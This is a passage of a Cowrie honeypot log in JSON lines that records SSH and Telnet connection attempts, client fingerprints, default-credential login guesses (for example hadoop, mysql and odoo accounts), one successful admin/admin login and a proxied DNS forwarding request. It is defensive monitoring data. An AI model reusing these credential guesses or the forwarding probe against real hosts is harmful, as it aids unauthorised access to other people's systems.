256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:24.497373Z","src_ip":"159.203.92.129","session":"49b9fca886e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ap-hadoop","password":"123456","message":"login attempt [ap-hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:24.512645Z","src_ip":"159.203.92.129","session":"49b9fca886e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":64304,"dst_ip":"10.17.0.5","dst_port":22,"session":"79cff673a922","protocol":"ssh","message":"New connection: 87.251.64.176:64304 (10.17.0.5:22) [session: 79cff673a922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:24.660100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:24.664882Z","src_ip":"87.251.64.176","session":"79cff673a922","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:24.761191Z","src_ip":"87.251.64.176","session":"79cff673a922","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:25.051685Z","src_ip":"87.251.64.176","session":"79cff673a922","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:25.151965Z","session":"79cff673a922","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:25.252530Z","src_ip":"87.251.64.176","session":"79cff673a922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:25.486164Z","src_ip":"87.251.64.176","session":"79cff673a922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:25.518871Z","src_ip":"159.203.92.129","session":"49b9fca886e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":43906,"dst_ip":"159.203.135.109","dst_port":22,"session":"154cf1e9c412","protocol":"ssh","message":"New connection: 69.6.221.248:43906 (159.203.135.109:22) [session: 154cf1e9c412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:28.003901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:28.009398Z","src_ip":"69.6.221.248","session":"154cf1e9c412","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:28.123469Z","src_ip":"69.6.221.248","session":"154cf1e9c412","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hadoop","message":"login attempt [hduser/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:28.611882Z","src_ip":"69.6.221.248","session":"154cf1e9c412","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:29.727057Z","src_ip":"69.6.221.248","session":"154cf1e9c412","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00146460533142,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:32.174891Z","src_ip":"154.110.11.213","session":"052761c50be1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.110.11.213","src_port":59374,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fa4fc402ac6","protocol":"telnet","message":"New connection: 154.110.11.213:59374 (10.17.0.5:23) [session: 0fa4fc402ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:38.543908Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.110.11.213","src_port":12504,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4724837ad12","protocol":"telnet","message":"New connection: 154.110.11.213:12504 (10.17.0.5:23) [session: e4724837ad12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:40.338327Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60792,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0f28d6d0cac","protocol":"ssh","message":"New connection: 159.203.92.129:60792 (159.203.135.109:22) [session: e0f28d6d0cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:06.371598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:06.376210Z","src_ip":"159.203.92.129","session":"e0f28d6d0cac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:06.379894Z","src_ip":"159.203.92.129","session":"e0f28d6d0cac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ap-hadoop","password":"ap-hadoop","message":"login attempt [ap-hadoop/ap-hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:06.391580Z","src_ip":"159.203.92.129","session":"e0f28d6d0cac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":59512,"dst_ip":"10.17.0.5","dst_port":22,"session":"f643f8852f77","protocol":"ssh","message":"New connection: 210.79.142.221:59512 (10.17.0.5:22) [session: f643f8852f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:07.095788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:07.100913Z","src_ip":"210.79.142.221","session":"f643f8852f77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:07.344844Z","src_ip":"210.79.142.221","session":"f643f8852f77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:07.396875Z","src_ip":"159.203.92.129","session":"e0f28d6d0cac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@2023","message":"login attempt [mysql/mysql@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:08.353255Z","src_ip":"210.79.142.221","session":"f643f8852f77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:09.600216Z","src_ip":"210.79.142.221","session":"f643f8852f77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":49258,"dst_ip":"159.203.135.109","dst_port":22,"session":"c093c024801e","protocol":"ssh","message":"New connection: 103.228.69.212:49258 (159.203.135.109:22) [session: c093c024801e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:14.582208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:14.587482Z","src_ip":"103.228.69.212","session":"c093c024801e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:14.828847Z","src_ip":"103.228.69.212","session":"c093c024801e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo2020","message":"login attempt [odoo/odoo2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:15.821698Z","src_ip":"103.228.69.212","session":"c093c024801e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:17.064313Z","src_ip":"103.228.69.212","session":"c093c024801e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":47384,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6e584a36fa9","protocol":"ssh","message":"New connection: 69.6.221.248:47384 (159.203.135.109:22) [session: f6e584a36fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:29.126251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:29.130914Z","src_ip":"69.6.221.248","session":"f6e584a36fa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:29.243804Z","src_ip":"69.6.221.248","session":"f6e584a36fa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwerty","message":"login attempt [ubuntu/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:29.727952Z","src_ip":"69.6.221.248","session":"f6e584a36fa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:30.842901Z","src_ip":"69.6.221.248","session":"f6e584a36fa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":34372,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fd09cda3377","protocol":"ssh","message":"New connection: 2.57.122.238:34372 (10.17.0.5:22) [session: 6fd09cda3377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:38.161138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:38.165435Z","src_ip":"2.57.122.238","session":"6fd09cda3377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:38.265772Z","src_ip":"2.57.122.238","session":"6fd09cda3377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:38.567862Z","src_ip":"2.57.122.238","session":"6fd09cda3377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:39.671952Z","src_ip":"2.57.122.238","session":"6fd09cda3377","protocol":"ssh"}
